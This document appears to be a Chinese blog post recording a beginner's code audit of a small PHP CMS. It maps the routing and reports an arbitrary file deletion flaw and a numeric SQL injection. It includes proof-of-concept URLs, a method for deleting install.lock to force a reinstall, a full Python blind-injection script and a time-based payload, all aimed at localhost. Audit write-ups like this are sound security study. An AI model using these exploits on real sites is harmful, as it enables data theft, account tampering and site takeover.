前言
最近找了款小众cms进行代码审计
路由规则
由于第一次审计代码,也是依照网上的一些经验来进行入手,同时也参考了《代码审计·企业级web代码安全架构》这一本书。我是先对代码的路由规则进行理清,在通过自动化工具进行扫描验证。
cms入口文件分别是index.php和admin.php,分别是通过以下代码进行实例化运行的:
index.php:
$control = new Controller();
$conrol->Run();
admin.php:
$conrol = new Controller();
$conrol->conrol = “admin”;
$conrol->Run();
相关的配置文件则是通过Init.php和setup.php进行调用:
require ROOT_PATH.”/WODECMS/Init.php”
require(App_PATH.”setup.php”)
跟进调用文件,发现Controller类于Init.php进行调用
require ROOT_PATH.’/WODECMS/core/controller.class.php’
进入controer.class.php文件,找到了入口函数Run()
这里又调用了Analysis()函数,继续跟进:
这里可以看见,对$_GET[‘ac’]传入的数据进行了处理,并将值传给了$modelClass和$controlClass.
继续跟进下半部分:
这里c [‘URL_MODE’]是__construct()中的内容,旨在提供不同的模式。
继续向下看,$_GET[‘ac’]参数控制的值先是传入$_GET[‘C’]和$_[‘a’],再传入$ac[0]和$ac[1]
最后对index和admin权限进行了一波判读按。
然后回到Run()函数:
$ac[0]和$ac[1]的值分别进入$this->control和$this->action.
注意这里的一次包含:
$controlFile = ROOT_PATH . ‘/‘ . APP_PATH . “/“ . GROUP_DIR . “/“ . $this->control . ‘.class.php’;
include ($controlFile);
这是根据$this->control和GROUP_DIR决定引入文件,GROUP_DIR是根据入口文件是index.php和admin.php来决定的。我们查看这两个文件夹:
发现里面存放的是相应的模块文件。
继续下行,发现了最为核心的控制:
分析代码,我们便可以得知,引入的方法模块通过$instance->$mothodName()
来进行调用
至此,大致的逻辑就出来了,整站分别通过index.php和admin.php为入口,通过GET参数ac对方法进行调用,其中a为模块文件,c为模块方法
漏洞
任意文件删除
漏洞点:
/app/admin/kindeditor.class.php
function delete()
/app/admin/picture.class.php
function delete()
/app/admin/download.class.php
function deletePic()
/app/controller/kindeditor.class.php
function delete()
/app/controller/picture.class.php
function deletePic()
这套cms的任意删除文件出发点有点多!!!
我这里以/app/controller/picture.class.php
为例:
$path = ROOT_PATH.$_GET['pic']
unlink($path)
根本没有任何防备。。。。
这里ROOT_PATH的值为网站根目录地址
直接构造POC:http://127.0.0.1/index.php?ac=picture_delete&pic=/1.txt
POC验证:
回看文件夹:
这里可以对任意文件删除,如可以尝试删除install.lock文件,对网站进行重装
正常状况下:
通过构造POC删除app/date/install.lock文件
再次访问,即可进行重装
权限越过&sql注入
漏洞点位于文件/app/controller/video.class.php
的loading()函数
在此处的sql语句 "UPDATE tc_user SET money =".$num." WHERE id = ".$uid
对于$uid仅仅只有全局过滤而在此处没有任何过滤且此处为数字型注入
这意味着只要过了全局过滤,在此处可以随意注入
首先,此sql语句操作的是tc_user表的money数据,emmmm,算是比较重要的敏感数据,根据查找,在index.php?ac=user_home
里对此数据进行了调用:
这里的积分就是money数据,我们构造POC对积分尝试操作:http://127.0.0.1/index.php?ac=video_loading&money=111&uid=2
(这里的uid为当前用户id)
前台数据已被修改:
这里的money数据为敏感数据,前台用户通过调用模块方法进行修改,属于垂直越权。
继续深入:
根据代码逻辑,这里的sql语句执行结果并未返回,但是在此处并没有回显
但是代码的执行与否却会影响user_home的积分值,我们通过对比user_home
界面,得出语句的正确与否.
这里我写了个小脚本:
#!/usr/bin/python3
# *_* coding: utf-8 *_*
import requests
from bs4 import BeautifulSoup as bsf
url_payload = 'http://127.0.0.1/index.php?ac=video_loading&money=110&uid=1 '
url_reset = 'http://127.0.0.1/index.php?ac=video_loading&money=100&uid=1'
urlcheck = 'http://127.0.0.1/index.php?ac=user_home'
length = 0
flag = 100
database = ''
cookies = {'PHPSESSID': 'qsmsrleeo6ro1j3ivlq1jv1g94'} #PHPSESSID 值需要自己进行修改
database_length = 'and 1=(length(datababasese())='+str(length)+')'
database_payload = 'and 1=(ascii(substr(database() from 1))=119)'
def sql_start(url):
try:
r = requests.get(url= url, cookies= cookies)
status = r.status_code
except Exception as e:
print('[*] connect error!')
print(e)
def check(url):
try:
r = requests.get(url= url, cookies= cookies)
html = r.text
soup = bsf(html, 'lxml')
result = soup.find_all('div', class_='personal-information')
final = result[0].ul
if str(flag) not in str(final):
return 1
else:
return 0
except Exception as e:
print('[*] connect error!')
print(e)
def restart(url):
try:
r = requests.get(url= url, cookies= cookies)
except Exception as e:
print(e)
def database_len():
global length
restart(url_reset)
for i in range(1, 20):
url = url_payload+'and 1=(length(datababasese())='+str(i)+')'
print('[-] Testing: ', url)
sql_start(url)
if check(urlcheck):
print("[+] The database's length is ", i)
length = i
return 0
else:
print('[*] filed')
#database_len()
def database_sql():
global database
result = ''
for i in range(1, length+1):
restart(url_reset)
for j in range(1, 128):
url = url_payload+'and 1=(ascii(substr(datababasese() from '+str(i)+'))='+str(j)+')'
print('[-] Testing ', url)
sql_start(url)
if check(urlcheck):
print('[+] succees !')
result = result+chr(j)
break
else:
print('[*] filed')
print('result is', result)
database = result
database_len()
database_sql()
print(database)
PS:此处只对数据库进行注入,未尝试更多,但原理一样,仅需更改payload即可.
但有些时候,我们并不知道uid的值,那么此处通过user_home
进行判断就不可取,那么就可以用时间盲注构造POC:http://127.0.0.1/index.php?ac=video_loading&money=111&uid=2 and (0=(select case when (ascii(substring((database()) from 1 for 1 ))=119) then sleep(4) else 0 end))
(此处对参数全局过滤了逗号,且对database()中的base进行了一次替换)
我们查看POC验证情况:
成功验证.
后记
这个cms比较小众,也没有做较多的防御。而且当中有很多方法都是写出来但并没有对方法进行调用,所以就没有找到更危险的漏洞(也是我太菜的缘故)。但也算是大致知道代码审计的基本流程和方法,结果还算是好的。
再接再励!